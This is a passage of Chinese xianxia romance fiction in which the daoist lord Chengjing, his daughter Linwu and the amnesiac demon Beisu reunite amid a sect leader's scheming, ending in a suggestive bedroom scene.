鳞舞却问:“可是阿娘不在寝殿里哎。” 她歪头,仔细看自己老爹,目光蓦地犀利:“爹爹,你是不是和阿娘闹了矛盾!” 成镜没有回答,他收回手,捏了捏鳞舞手心,再将手抽回来。他无法对鳞舞撒谎,他自己都不知道这算不上是和北溯闹矛盾,可能在北溯眼里,他是在无理取闹。 “你要哄着阿娘嘛!你之前还和我说阿娘很辛苦,她肯定是累了。” 小孩子一句话,让人茅塞顿开。 成镜忽然想明白北溯为何会表现得没有干劲,之前见到的她,都有一个很明确的目标,灭昆仑。 但现在,她记忆里没有昆仑的存在,妖界不用她守护,她没有了为之奋斗的目标,甚至不熟悉这个世界,所以才会迷茫。 成镜露出了一丝笑,揉了揉鳞舞脑袋,说了一声:“我知道了。” 鳞舞眨了眨眼,笑出来,双手叉腰,指责老爹:“爹爹你还没我聪明,你知道一直跟我说阿娘保护族人很累很辛苦,你自己都没想到。” 成镜嗯了一声,让她回去处理自己的事。鳞舞转身要走,忽然想起来有件事情没说,赶忙说出来:“宗主说要你去找她。” 成镜蹙眉,问:“她何时来的?” “大约半个时辰前?我刚从张伯伯那回来,她好像还问了我几句话……”鳞舞仔细回想,却想不出来问了什么,“奇怪,我想不起来了。” 鳞舞捂着脑袋,小脸皱巴巴的,看起来有点难受。 成镜仔细瞧了她一会,抬手抚过她眉心,封印没有被触动的痕迹。他问:“藕宝呢?” 鳞舞猛地一睁大眼,转头就走。 寝殿门口趴着一小人,鳞舞赶紧把它抬起来,靠在门上,拍拍它的脸,等它醒了,立刻问:“你怎么啦?” 藕宝浑浑噩噩的,脑袋很晕,一看到成镜,想站起来,被鳞舞摁住:“别动,你现在看起来很奇怪!” 成镜已经动手探查藕宝的情况,在它身体里发现记忆被抹除的痕迹,直接问:“今日除了见过张伯伯和天綪,还有谁?” 鳞舞摇头:“只有他们。”藕宝跟着点头。 成镜设下结界,叫鳞舞坐在椅子上,指腹按在她眉心,唤醒莲花印记。莲台浮现,源源不断的灵气涌入她体内。 鳞舞闭上眼,蛋壳包裹她的身体,取代人形,椅子上只剩下一颗蛋。莲花与黑蛇交替出现,纹路清晰,并未有异样。 成镜从莲台上取了一片花瓣,沾上鳞舞的气息,花瓣飘散,凝出画面。 两个小人走到凉亭内,被黑衣人拦下。 天綪背对着画面,抬手按在鳞舞头顶,衣袖遮住鳞舞脸颊,画面没有声音。一旁的藕宝站着不动,莲子做的眼本就看不出情绪,没有露出有效信息。 成镜收了手,画面散开,他仔细探查过鳞舞身体,确定天綪没有对她做什么,才收回莲台,叫醒鳞舞。 “爹爹,我怎么啦?” 成镜起身,淡淡道:“日后遇见天綪,不要与她说话,直接回重莲殿。” “好哦。”鳞舞揉了揉脑袋,好奇问:“她是不是坏人呀?” 成镜顿了会,点了头,在她身上下了禁制,叮嘱她:“日后远远瞧见她,直接催动禁制,回重莲殿,她进不来。” 说完这些,转身去看藕宝。鳞舞问他:“藕宝的情况是不是比我严重啊?” “嗯。”成镜将藕宝四肢拆下来,正想叫鳞舞去莲池里挖几根藕,想了想,还是自己去。 鳞舞血脉强悍,不会轻易被探查到记忆,但藕宝不同,它只是藕做的,修为不高,没有脑子。他在做这个藕人时,特地下了禁制,只要有人妄图搜查它的记忆,禁制便会启动,抵抗搜查。 代价便是会伤到脑子,变成白痴。 他得给藕宝换个脑子。 禁阵一开,他仰起手,灵力击出,莲池内水花四溅,两块莲藕落入他手中。 瞧见凉亭时,视线一顿,没有选择立刻去见天綪。 回去便见鳞舞眼巴巴望他,他蹲下身,说:“不用担心,他的记忆不会损失……” 鳞舞欢呼的声音在耳畔响起,成镜被一把抱住后背,差点扑到地上。 “爹爹好厉害!” 成镜拉住她的胳膊,让她到边上站着,将藕修成圆形,把里头挖空,将采摘的莲梗作为经脉,修补好藕宝被损坏的那几根,再将它原本完好的经脉安进去。 莲子镶嵌在眼眶里,再施法催动,一个崭新的藕宝站起来,摸了摸自己脑袋,一见自己被两双眼睛盯着,不好意思地说:“我好像忘记了什么。” 鳞舞拍拍它,安慰它去了。 成镜起身,垂眸看着两个小人说话,思绪飘远。 “有事再叫我。” 鳞舞与藕宝齐齐点头,看着他去了囚牢。 两颗脑袋探出寝殿,瞅着囚牢,好奇地很。 “藕宝,你说阿娘会不会在囚牢里。” 藕宝觉得应该不在。 “爹爹把阿娘关在囚牢里干嘛呢……” 成镜是怕她跑了,再也找不到她。 他进了囚牢,直接说:“天綪盯上了鳞舞。”他想了想,又说:“你若是想带走鳞舞,便要护她周全,帮她解决所有暗藏的危险。” 莲花内的人动了一下,像是仰头看他。 成镜控制着自己的情绪,尽量以最平静的声音说出来:“如今的你,最多只能自保,想保护鳞舞,远远不够。” 他在试图唤醒她的斗志,给她制造一个能够支撑她继续前行的目标。 她不是喜欢鳞舞吗,死之前无论如何都要他生下这个孩子,该是极为重视。 他等了一会,才松开对她的禁锢,花瓣散开,女子跳下来,走到他面前,问他:“孩子娘是谁。” 成镜沉默,双眼黏在她身上一样,一点都移不开。 “你。” 北溯摇头,说:“妖族孕育后代后身体会产生一些变化,但我没有。” 这句话落在成镜耳中,像是在质疑他。 叫他无力又愤恨。 她什么都不记得了,再说那些,根本没有用。 他张唇,难以启齿,却没法掩盖,将那几个字说出来:“我生的。” 一说完,呼吸加快,立刻移开眼,只看别处,偏就不看她。 北溯震惊,复述了这三个字,声音不大,清清楚楚落在成镜耳中,只叫他浑身窜上一股羞耻,直想此刻就离开。 北溯注意到他面上浮现的绯红,再一瞧他隐忍的模样,明明羞于启齿,还要说出来。 “你带大的?”她只这么问了一句,男人扭回头看她,声线颤抖。 “不然是她死了十年的阿娘?” 北溯摸了摸鼻子,觉得自己被人骂了。 她好奇打量他,想从他身上找到可以孕育生命的地方,被他捏住下巴摆正脸,不让她看。 撇开他的手,她直接说了:“我很好奇,你从哪将她生出来的?” 成镜蹙眉,不回答她,只这么看着,双手都在颤。 “唔……”她又说:“孩子刚出生不是要喝奶吗?你从哪给她弄来母乳?” 男人呼吸一窒,想到自己不堪的过往,额间青筋直跳。 “舞宝长这么大,只有你照顾她吗?” 成镜吐出一句话:“还有藕宝。” 北溯哦了一声,“那只藕?它这个名字谁起的,你?” 男人不再回答她的问题,只说:“你问够了吗?” 北溯还想问他是怎么生出来的,毕竟她没见过男生子,不过能一个人将孩子带这么大,已经很了不起了。 她问了最后一句:“你自愿,还是被迫?” 囚牢内空气凝滞,两双眼对视,平静的外表下,滚起了惊涛骇浪。 成镜没有立刻回答,北溯只望着他,也不着急他立刻回答自己。 眼前的人似乎要碎掉了,脸色苍白,受的伤应该还没好全,她还嗅到了血腥味。 她在想,被迫的概率应该是极大的,即使失去了有关他的记忆,还会被他的容貌仪态吸引,生出想将他劫走的心思,当初的自己对他的觊觎只会更盛。 “怎么不说?” 成镜开不了口。 他要如何告诉她,从被迫,到之后的自愿,其中还夹杂了利用她的心思。 太复杂,太龌龊,他已经没有了初来世间的纯净。 他只能狼狈地岔开话题:“再过些日子便是宗门大比,天綪定然会以你是我首席弟子为由,令你出战,届时你的身份很容易暴露。” “这不是还有你么。”北溯挑眉,抬手按了他胸口,被他一把攥住。 “我无法时时刻刻保全你,”顿了顿,他加了一句:“还有舞宝。” 北溯收回手,嗯了一声,稍有松动:“一直把我关在这里,我要怎么保护舞宝?” 成镜心头一跳,一丝甜意涌上心头,捏了一下手,才说:“白日你只可在主殿内修炼,晚上在我寝殿内休息。” 他说后半句话时, 眼睛都不眨一下,说完了倒是心猛地跳了一下,移开视线,去看那朵绽放的莲花。 “差点忘了,你还是我师尊。”北溯没有拒绝,但提了个要求:“我要见舞宝。” 成镜拒绝:“她要休息。” 北溯却笑:“道君将我带回来时,天还亮着。” 成镜将莲花收回来,看着好像思考了许久,才说出一句好。 去鳞舞前,他还叮嘱她:“不可告诉她我与你说的一切,只可见一刻钟。” 北溯随意摆了摆手,不听他的,等他推开门,跟在他身后走。 外头安安静静,走近了,能听见舞宝和藕宝的声音,俩小人你一句我一句说着今日的功课,注意到他们来时,立刻冲过来。 “花花!” 北溯蹲下来,一下接住小姑娘,使劲捏了一下她的脸,被边上的人呵斥:“你稳重些。” 不想理他,北溯直接抱着小姑娘往里走,把她放在椅子上坐好,拿了个椅子坐在她对面,握住她双手来回揉捏。小孩子手肉嘟嘟的,手感很好,捏着容易上瘾。 “花花你去哪啦?我好想你。” 小姑娘声音不由自主地带了委屈,听得人心软。思念太浓,叫北溯听着,心暖暖的。 有人想她,真好。 她说:“你爹爹去救人族了。” 小姑娘双眼一亮,反握住北溯的手指,凑过来说:“爹爹他是不是很厉害?” 北溯回头看了眼男人,见她望过来,男人只来得及将眼中的柔情掩盖,她只看了一眼,回头对鳞舞说:“他确实厉害。”受得了三道天罚,怎么不厉害。 “不过呢,救人把自己救成了重伤,还得我去救他。” 鳞舞疑惑地望向老爹,看到他点头,又回去问阿娘:“那你有没有受伤啊?” 北溯揉了揉她脑袋,笑着说没有。 但小姑娘不相信,非得亲自检查。 只好由着她,被她命令伸出手,再站起来,没检查到伤口,才让她坐下来。圆溜溜的眼睛依旧盯着她,没有放心。 北溯也看她,盯着看了好一会,突然发现她的眼睛很像自己,瞳孔都很大,仔细看,瞳孔是椭圆的,像是立起来的鸡蛋,除了眼睛,脸型和嘴巴也很像她。 北溯的脸很小,下巴还有点尖,一旦瘦了,就会很明显。厚唇,颜色很艳,像石榴。一看就知道被养得很好,气血足。 她之前怎么就没发现,小姑娘和自己长得这么像。 北溯忽然冒出一句:“我看你觉得很眼熟。” 后面站着的男人浑身一震,难以置信地望着这个不按计划走的女子,却也说不出阻拦的话。 鳞舞惊喜地瞪大眼,好久才平复激动的心情,使劲点头:“嗯嗯!” 我是阿娘的宝宝,当然眼熟啦! 北溯想了想,问她:“你想不想你爹重新娶个姑娘当你阿娘?” 鳞舞从椅子上下来,抓住北溯双手,往成镜那看。 爹爹爹爹!阿娘要嫁给你!你快娶她! 成镜视线中的女子站起来,又说了一句:“他要是娶的话,你跟我走好不好?” 鳞舞的笑容卡壳了,她转头看向面前的阿娘,仔细想了想,重新露出笑,一把抱住北溯的腰,美滋滋说:“好耶!” 成镜知道自己不该,但很想问她一声:我呢? 第66章 鳞舞喜滋滋蹭了好一会,阿娘身上香香的,好好闻。 等她抬头去看老爹时,发现他在那站着,看起来孤零零的。藕宝也使劲眨眼睛,看起来很羡慕她。 鳞舞想了想,觉得还是把老爹带上吧,老爹也好多年没见阿娘了,他肯定不舍得阿娘。 再说了,一家人得在一起,才叫团团圆圆。 想到这,鳞舞拉了拉北溯的手,小声说:“那,那要是爹爹不娶别人,可以带着爹爹一起走吗?” 北溯被小姑娘逗笑了,捏了捏小姑娘的脸,没有正面回答,也没看身后的男人,只说:“那得看我心情好不好。” 鳞舞蹦了一下,连忙把自己又得了甲的功课拿过来,尤为自豪,但又有些紧张。 “你看你看,我的功课!张伯伯说我可聪明了,什么都学得很快!”鳞舞献宝似的把册子打开,一边看阿娘一边看老爹,听到阿娘说不错,小声问:“那你现在心情好吗?” 北溯抬眼一瞧小姑娘睁着的大眼,忽然就在她身上看到了成镜的影子。小心翼翼地试探,待关系近了,慢慢地放松下来,便会缠着不放。 那日在二重山,成镜就是这般,明里暗里试探她。 不过舞宝比他可爱多了。 北溯把册子合上,放到桌上。 鳞舞眼里的光黯淡下来,冲老爹摇了头,给他一个自己想办法的眼神。 “那要是不带爹爹走,你可以先留在这里嘛?”鳞舞冲进北溯怀里,紧紧抓住她的腰,小声告状:“爹爹可坏了,他总是要我学功课守规矩。” 说完埋在北溯怀里偷笑。 北溯想到自己小时候,天天修炼,倒是和小姑娘不一样,她是逼着自己去练。 她转头朝成镜看过去,男人立即道:“我并未苛待她……” 北溯没回他,回头看舞宝,摸了摸她的脸,肉嘟嘟的,嫩嫩的,很想咬一口。 她怎么会看不出小姑娘的心思,心情复杂。舞宝出生时她不在,舞宝长这么大,她也没能参与进来。 虽然一觉醒来多了个孩子,也没觉得不适应。她倒是好奇,自己当初是怎么让成镜生的,他这样的人,怎么会愿意。 “脸都圆了,看来还是不够努力。” 鳞舞一下松开她,捂住自己的脸,眼睛眨了眨,嘴一撅,小声说:“我脸不圆。”她还向先前被自己告状的老爹投去求助的目光。 结果老爹不理她。 鳞舞看看自己阿娘和爹爹,眼睛一眨,就要哭。 北溯盯着她眼睛看,看她什么时候哭。 鳞舞哭不出来了。 她把册子拿在手里,扯了扯北溯袖子,小声说:“那你还走不走呀?” 北溯知道她的意思,想到成镜先前说的话,没有对她许下承诺,只说:“你若是表现得好,我就不走。” 不过道宗终归不是她该待的地方,早晚都得离开。 鳞舞愣愣点头,旋即高兴起来:“那我要是一直都表现得很好,你是不是就不走了?” 小姑娘刚才确实差一点就要哭出来了,眼一眨,眼睫湿漉漉的,看着很容易让人心软。 北溯点了头,马上被抱住。 鳞舞高兴得欢呼,探出脑袋冲没用的老爹眨了一下眼,颇为骄傲地哼了一声。 北溯拉开她,又问了她一句:“那要是我和你爹闹矛盾了,你选谁?” “当然选阿——选花花啦!”鳞舞赶紧闭嘴不再说,紧张地看着面前的女子,立刻转移话题:“给你看我新练的法术!” 站在后头的男人静静望着,眼前的一幕太过温馨,犹如一场梦,虚幻又真实。 成镜晃了一下身子,视线模糊了一瞬,再度听到她们的声音,北溯在鼓掌,夸鳞舞法术厉害。 他笑了一下,转身离去,一丝声息也无。 藕宝担心地跟出去,一路跟着他走到他寝殿里,才说:“道君,您身上的伤好些了吗?我再给您摘些莲子来?” 成 镜说了声不用,凝出莲台,叫藕宝回去守着鳞舞。 藕宝只好走了。 寝殿门关上,成镜设了结界,连窗户都遮住,没有他允许,无人可进得来。他坐上莲台,恢复灵力,待会还要去见天綪,他不能露出破绽。 北溯出来时,便见藕宝在外头站着,看看左边又看看右边,满脸心事。这藕做的小人还真成精了,还能做出类人的表情。 成镜寝殿门关着,还有结界,这是不想让她进去。 她朝藕人勾勾手,把它叫到主殿里,设下结界,藕宝莲子眼看过来,搓了搓手,有点局促:“主母,您找我有事?” 北溯被这称呼逗笑了,“谁让你这么叫我的?成镜?” 藕宝摇头,诚实说:“我自己想的。”说着,它有点慌:“不可以这么叫吗?” “随你怎么叫。”北溯不讲究这个,第一次被人叫主母,有点奇怪。 主殿太空,没什么东西,她直接坐在莲台上,托着下巴问藕宝:“成镜昨晚什么时候走的?” 藕宝站直了,老实说:“昨晚您走后没多久,道君就醒了,直接走了。” “这么快……”北溯想起出了洞窟就被人抓到,那时他的表情慌张又愤怒,既像自己的秘密被发现,又像是在捉|奸,真矛盾。 她换了个问题:“这些年只有成镜一个人照顾舞宝?” “前几年是的,后来道君造出了我,我就跟着一起照顾小主人。” “唔……”所以成镜除了她,应该没有碰别人。 北溯跳下莲台,打量四周,他的地方也和他人一样,看上去冷清得很,除了莲台和矮几,没其他东西。 “宗门内有人对鳞舞动过手吗?” 她转身,面对藕宝,身上的压迫力无形之中释放出来,藕宝哆嗦了一下,说:“明面上的没有,暗地里应该是有的。” 这些年鳞舞没出事,全都是成镜在护着,仅仅是天綪就问了多次。若非成镜身份实力摆在这,早就把这孩子抓去检查了。 “有人问过吗?” 藕宝想了想,说:“道君有几次叮嘱过我,要避开宗主天綪。” 北溯不太了解这位宗主,见过两次,给她的感觉很不适,这人身上有一股很违和的气场,与周围的人格格不入。也不知之前自己是否与她接触过,若是接触过,也该是一样的感觉。 “我知道了,你做你的事去吧。” 北溯散了结界,藕宝却没走,它犹豫着要不要说。 还是北溯看出它有话要说,直接叫它说出来。 “道君其实很想您的,他总是会梦见您,小主人还不会说话的时候,道君就告诉小主人,她阿娘的名字,还告诉她,她阿娘很厉害,是个女侠。” 它睁开眼,第一次看这个世界时,看到的便是男人抱着娃娃,坐在椅子上,指着天上的星星,说:“那里面,有一颗就是你娘。” 它睁着眼睛,还没学会走路,一动就倒在地上,没人来扶它。 男人没听见它倒地声音似的,抱着那个娃娃,继续说:“你娘叫北溯,北方的北,溯回的溯。” “她不温柔,心很硬,心里也装不下谁。” “狠心的时候,直接抛下自己的孩子,一走就是这么多年。” “但她很强,保护了同族,还能杀得了十几个比她还强的人。” “甚至……”藕宝听到那个人声音低下,瞬间变得忧伤:“甚至可以随意玩弄别人的感情,还不负责。” 娃娃抓了一下他的头发,好像没听进去他的话。 藕宝趴在地上,疑惑地看着这个男人,觉得他好奇怪。一会用一种欣赏的语气说话,一会又透着恨意。 “将妖族的生死背负在自己身上,该是很累,也许她已经解脱了。” 娃娃将他的头发弄乱,笑了一下,开始扯他的脸。 “但我没有。” 男人将娃娃的手拉下来,低头看她,又说:“你娘为了保护妖族,受了很多伤,但她没有保护过你。” 娃娃不高兴了。 男人点了一下娃娃鼻尖,语气微微柔和了些:“但她在你身上,花了很多心思。” “她盯上了一个男人,费尽心机抓住他,囚禁他,还对他做了很多次他无法反抗的事,最后有了你。” 藕宝疑惑,转了一下脑袋,冰冷的地板让它保持清醒,仔细思考这句话,恍然大悟。 所以娃娃是那个女子强迫这个男人生出来的吗? 那他应该很恨那个女子了? “但她走了。” 藕宝看着这个失魂落魄的男人,从他这四个字里听出了伤感。 听起来他不恨那个女子,那就是喜欢? 娃娃忽然哭了,男人抱着娃娃,哄她,说:“她把我们都抛弃了。” 娃娃哭声更大了,藕宝想爬过去哄娃娃,它觉得男人要是再说下去,娃娃就要哭断气了。 “若是她会回来,我们一起惩罚她。”男人熟练地换了个姿势抱着娃娃,继续说:“惩罚她不告而别……” 藕宝觉得他还有句话没说,惩罚她抛夫弃女。 娃娃还在哭。 藕宝看着男人哄娃娃,声音低柔得像是摇篮曲:“别哭,乖……” 藕宝趴得久了,一直仰头看很累,但又不想错过他们的对话,低下头休息了会,继续抬头看。 男人不知道是不是一个人带孩子时间长了,哄娃娃睡觉的方法很熟练,没过一会,娃娃不哭了,好像睡着了。 男人侧对着它,指腹擦去娃娃脸上的泪,低声说了一句:“做个好梦。” 他这才转身面对它。 藕宝很难形容第一次看到成镜正脸时的感觉。 毕竟第一次见到人脸,也不知道这张脸算得上什么水平,只觉得这个人身体里住了两个灵魂。 一个清冷克制,时时告诫自己要理智。 一个疯狂阴暗,只在崩溃的临界点。 藕宝看到他走过来,指尖一抬,自己就站了起来,旋即就听到他冰冷的声音,让它觉得像是被扔到冰窟里,浑身发寒。 “听到了多少?” 藕宝老老实实复述,将他说的话全都说了一遍。奇怪的是他居然没有生气,脸上什么表情都没看出来,它心慌得很,说完后不敢动,等着被收拾。 男人只问它:“会带孩子吗?” 藕宝摇头:“我不会。” 男人走过它,声音消散在夜空中:“学。” 后来藕宝就一直跟在成镜身后,看他怎么照顾娃娃,晚上就学男人给自己的育儿手册,学得很快。 后来娃娃会说话的时候,说的第一句就是“阿娘”,很久之后才学会喊爹爹,但是没有喊过它。 这才发现自己没有名字。 它磨磨蹭蹭犹豫纠结了很久,求道君给自己起个名字,道君好像不太会起名,给小主人起名叫舞宝,给它起名叫藕宝。 好吧,它从今往后也有自己的名字了。 后来它就趁道君不在,偷偷教小主人叫自己名字,它还记得,小主人张着嘴说出自己名字时,它可高兴了。 藕宝笑了好一会,没有告诉道君。 后来有一次应该是道君要出去解决一件很棘手的事,把鳞舞留给它照顾,它向成镜保证,一定会保护好鳞舞。 等成镜出了重莲殿,过了很久,来了个女人,来问成镜在不在。 藕宝没有出去,也没有理那个女人,它只要照顾鳞舞,别的不管。 有禁阵在,那个女人进不来,没过一会就走了。晚上成镜回来,一身的血腥味,踉踉跄跄走到鳞舞床边,问它有没有人来。 它老实说完,被他叮嘱:“我不在,谁都不能放进来。” 也是这天晚上,藕宝发现成镜晚上做梦会喊一个人的名字。 “北溯……” 他身上的血腥味很久没有变淡,藕宝知道莲子有疗伤的效果,但是外面的莲池里没有莲子。 它只好抠了自己一只眼睛,给他吃了疗伤。 然后它就听见成镜又喊了那个名字,还说了一句话,好像是“别死”。 它默默给成镜盖好被子,心想,道君应该很喜欢那个死去的女子,做梦都在想她。 “道君很久没见到您了,可能不太适应,主母您别生他气,他其实很想您的。” 北溯笑了一下,在藕宝放松时忽然板着脸,问它:“成镜让你帮他在我面前说好话?” 藕宝连连摆手,急急解释:“是真的!道君真的很想您!” 北溯说了声知道了,让它出去。藕宝犹豫了一下,说:“主母要是还有要问的,随时都可以来问我。” 主殿一空,北溯站了会,转身去瞧莲台。 做梦梦见她,还喊她的名字? 竟然惦记她这么久。 北溯盘腿而坐,勾了勾邪气,那邪气穿透墙壁,进入隔壁寝殿。 现在唯一没能得到解释的,只有这邪气。 她 闭眼打坐,感知身体情况,上次突然变回原形,有成镜的灵气滋补,倒是很快恢复过来,但状态依旧不稳定,随时都有可能再变回原形。 至今未曾找到这异常的源头,或许与邪气有关。 重莲殿内几人要么在休养,要么在复习功课,一安静下来,倒不会觉得冷清,毕竟一家人都在,团团圆圆。 不过一会,成镜出了寝殿,朝主殿偏头看了眼,直接出了重莲殿,去吞云殿见天綪。 吞云殿殿外可见渐渐西沉的太阳,抬眼望过去,日光依旧刺眼。 成镜进了吞云殿,里头有两个执事和星峦长老在商议大比事宜,天綪坐着听他们说,几人见他来,立刻站起来。 他走到下首位坐下,直问天綪:“你有事寻我?” 天綪不着痕迹地扫视他,他来时步履稳健,气息平稳,看不出什么。 “弟子汇报,你昨日一次性救了三座城池?” 星峦与两位执事目瞪口呆。 “嗯。”成镜颔首。 “道君这是找到了杀死异种的办法了?可否告知我等?”天綪俯视成镜,语气似乎带了些期待。 她这么一说,其余三人立刻道:“道君若是有法子,快快告诉我等,我等也好去救无辜之人。” 成镜扫过他们期待的眼,只说了一句:“暂未寻到。” “那您是如何救的……” “我只是遮盖了人身上的气味,暂时驱赶走异种裂缝。” “这……”星峦失望,“若是人界日后再遇到异种裂缝,还请道君继续出手援助。” 天綪带上笑,站起身,对成镜说:“道宗内只有道君有这等实力援助,麻烦道君了。” 成镜看了会天綪,才答应。 “我等方才在商议大比事宜,这次大比由我宗主办,定然不能丢了面子,道君座下弟子必然是要出席的,您觉得呢?” 成镜嗯了一声,又问:“除此之外,还有旁的事?” 星峦摇头,说没有。 两位执事也不敢给成镜找事干。 成镜目光转到天綪身上,眸光沉沉。 天綪扬手,让星峦他们先走,她有话单独与成镜说。 三人行了礼,退出吞云殿。 “道君那弟子是何等修为,若是太弱,我可寻个理由,不叫她参加大比。” 成镜却道:“她可以参加。” 天綪动了动手,皱眉道:“此次大比,各宗必然会派精英弟子参加,他们必不会手下留情,若是伤了您的弟子……” “不用你操心。”成镜态度冷硬,他站起身,直接道:“若是没有其他要紧事,我便回去了。” 天綪也站起身,目送他离开。 直到他背影消失,她才冷了脸。 自从他从魔界回来后,对她的态度忽然变得生疏,每次接触,处处防备她,都开始对她说谎。 天綪张手,掌心里浮现重莲殿外禁阵的景象。 那禁阵没有成镜的气息,她进不去。 吞云殿外传来执事的声音,她收了手坐回去,等着来人进来。 成镜很快回了重莲殿,感知到北溯还在主殿内调息,没有过去打扰她,在外头静静站了会,走回自己寝殿。 吃了她给的东西后,伤在恢复,效果和莲子差不多,他再休养几日,便能好得差不多。 他凝出莲台,坐上去调息。 许是解决了一桩藏在心里很久的事,一放松下来,精神没那么紧绷,便没注意到有人进来过。 北溯发现他寝殿门没关,没有结界,直接进去看他。邪气连接着他,她动了动手,邪气缓缓涌向她。 男人闭眸打坐时,眉心莲花印记一直是亮着的,莲台上涌出的灵气在他周身萦绕。 男人唇恢复了些血色,发丝别到耳后,露出饱满的额头,银白的莲花印记隐隐有暗色闪过,注意力全在他的唇上,北溯看得不是很清楚。 他的唇很薄,抿唇的时候几乎是一条直线。许是重伤缘故,即使恢复了些血色,也还是苍白的。 这个时候他身上又穿上了白衣,莲台花瓣也是白色,瞧着有种成仙了的飘渺之感,令她不舒服。 好像这人下一秒就会离开人间,去天上做他的神仙。 太淡了,不好。 见人一时半会不会醒,她走到后面的床上,坐下来等他。 不是说晚上必须得在他的寝殿里吗? 等了好一会,太阳都落山了,他还不睁眼,北溯没了耐心,刚想走,窗户那冒出两个脑袋。 两双眼睛盯着成镜的背影,见他没回头看,立刻冲北溯挥手。 她走过去,隔着墙壁问这俩小人:“干嘛呢?” 鳞舞眼睛一转,问:“你晚上睡哪呀?” 北溯一捏她的小脸,朝身后宽大的床一指:“睡这。” 鳞舞双眼一亮,连说了好几句好,捂着嘴偷笑:“那你今晚好好休息哦,我一个人睡也是可以的!” 她拍了拍藕宝脑袋,叫藕宝一起回去。 俩小人就这么飞快地溜走了。 北溯笑着看她们跑走,靠着窗站了会,太阳落到地平线下,月亮升起。 她回去一看,成镜还没醒,直接倒床上休息。 偏头盯着男人,瞧见他红色发带,想起来之前他掉地上的白色发带,似乎是在见到她后,才换成红色。 她弯了眼眸,笑眯眯盯着这个口是心非的男人看。总说她该死,怎么也不见他动手杀她呢? 还总梦到她,喊她的名字。 男人,真是嘴硬。 北溯闭上眼,休息了会,听到动静,没睁眼。 男人似乎走了过来,很快停下了脚。 北溯这才睁开眼,躺在床上看他。 他一脸惊愕,轻轻眨了眼,喉头滚动,半晌才说出一句话:“你怎么在这?” 北溯疑惑:“不是道君勒令我晚上必须要待在你这里吗?” 成镜呆滞了一瞬,想起来自己白天说的话,缓缓嗯了一声,却说:“你休息吧。”直接转身,一抬手又要凝出莲花。 北溯一见他背过身,就知道他要干什么,撑着下巴,笑道:“我听藕宝说,你总是梦见我。” 月光照着男人,他的身子好像僵了一下,没有动。 “藕宝还说,你连做梦,喊的都是我的名字?” 成镜心头一颤,没有说话。 北溯等了好一会,都没听到他说话。直起身,坐在床上,不喜欢他背对自己,语气冷下来:“转身,面向我。” 成镜一颗心跳得都不像是自己的。 他想控制自己,但已经有人先一步控制住了他。 他转身,看到女子坐在自己的床上,仰头看他,眼里缓缓涌出了笑意。她红艳的唇微张,脖颈上忽然刺痛,柔软的唇吮吸,好似她还在咬自己。 忽然有种难言的渴望升起。 成镜喉咙滚动,性感的喉结一上一下。 一阵风拂过,掀开他垂下的发丝,露出他痕迹斑斑的脖颈,一点一点殷红往下蔓延。 他不知何时换了一套衣领低的衣衫,被咬出的痕迹还没散,还能瞧见牙印。 北溯看了好一会,忽然问他:“为什么要让我晚上待在你的寝殿?” 成镜不言。 她却朝他伸手:“怎么换成红发带了?白色的不好看?” 男人艰难开口:“我不喜白。” 下一秒,手被人猛地一拉,他被拉着撞到她怀里,根本没反应过来,撞得她倒下。 北溯仰着身子,一手揽住他的腰,一手拆了他的发带,墨发散开,冰冰凉凉的,很舒服。 发觉他要起来,立刻按住他的腰,将人摁回自己怀里,偏头去看他的发带。 红色发带绕在纤细指尖,衬得那手莹润皓白。衣袖垂下,发带缠着她白皙手臂,像是被他抓住,逃脱不了。 “之前也是用的发带绑头发” 成镜不知该怎么回答她。 眼前的一切超出了他的认知范围,两次都撞到她的柔软之处,第二次还是她故意按回去。鼻腔里全都是她身上的味道,像是迷惑神智的魅香,将他的理智勾走再抛远,剩下的只有本能和疯狂。 北溯一转头便见他看过来 的漆黑深沉的眼,逐渐变得危险。察觉到他要起身,却不是为了避开她,当机立断攥住他双手,红色发带缠绕手腕,直接打了个死结。 她笑着,摸了摸他靠在自己胸口的脑袋,哼笑:“之前我有绑过你吗?” 红发带将他手腕勒紧,男人只能将手臂张开,胳膊肘撑在她两侧,手举到她头顶。 刚要说话,身体一转,人就被压在躺在床上,手被压在头顶,她的气息迅速靠近。 “告诉我,为什么要我晚上留在你的寝殿?” 女子的发丝落到脖颈间,很痒,手被压着,无法拨开。这股痒意一直骚弄着他,得不到满足,还越来越难受。 成镜蹙了眉,依旧忍着不说。他的心思基本上被藕宝透了个干净,还有什么需要问的? 北溯偏就要他亲口说出来。 “不说?” 她动了动手,直接碎了他的外衫,继续问:“说不说?” 男人抿唇,只看着她。 北溯继续扯了他里头一件衣衫,再问:“说不说。” 男人只动了手,无声息关上殿门,再设了结界。 他甚至没有挣扎。 北溯又扯了他一件衣衫,这件衣衫一脱,只剩下一件薄薄的里衣。 她摸了一下,料子光滑,凉凉的,不知道什么东西做的,透得很,稍微贴紧了,就能瞧见里头肌肤。 身子紧贴,衣衫一褪,什么都能感觉出来。 掌心下滑,摸了一下他腰腹的肌肉,北溯直接捏住这片薄衫,威胁他:“再不说,我就全扒了。” 她捏衣衫的时候,力气重了些,不小心捏到他腰间,男人身体很快变得梆硬,低低的闷哼炸开,北溯听得一愣神,低头去看他的脸。 耳朵通红,清楚看到他的脸是怎么从苍白到绯红的。 北溯想了想,附到他耳畔,低声说:“再叫一声给我听听?” 第67章 男人耳垂红得能滴血,他紧紧抿着唇,一句话都不说,眼睫颤动个不停,身子僵直,一动也不敢动。 北溯干脆放松身体,完全压在他身上,指腹按在他凸起的喉结上,一压,喉结就往下滚,一松,喉结跑上来,好玩得很。 “怎么不说话?之前不是很会说吗?” 北溯只觉得这个男人好捉弄极了,要不是她现在没有他强,早就动手对人动真格的。 手指下滑,抚过他纤长的脖颈,摁在他锁骨上,指尖一挑,拉开衣领,那处斑驳痕迹映入眼帘,红彤彤一片,像是被谁虐待了一般。 北溯咬的时候就带了逗弄他的意思,真那么做的时候,是有瘾的,这人身上的味道很好闻,哪哪都合她的心意,若不是那时她状态不好,定然会对他做些更过分的。 “你不说,我就要自己找答案了。” 手指探进了薄衫里,抚上他光滑的胸膛,她的手冰凉,一探进来,带来寒冷,令人战栗。 男人闭着眼,干脆不再去看,身体五感迅速放大,女子每一次触碰,对他来说,都是在挑战他的忍耐力。 已经许久许久,没有这般亲密地与她接触,身体的记忆却很清晰,一被她碰到,立刻唤醒。 他的身子突然绷紧,溢出的闷哼声带着欲望,在寝殿内回荡。 他猛地睁开眼,一眼看到胸口被她手指夹住的位置,瞳孔震颤,动了动胳膊,被捆着没法去推开她。 他也只是望了一眼,面上羞红得比天边的晚霞还要艳丽。 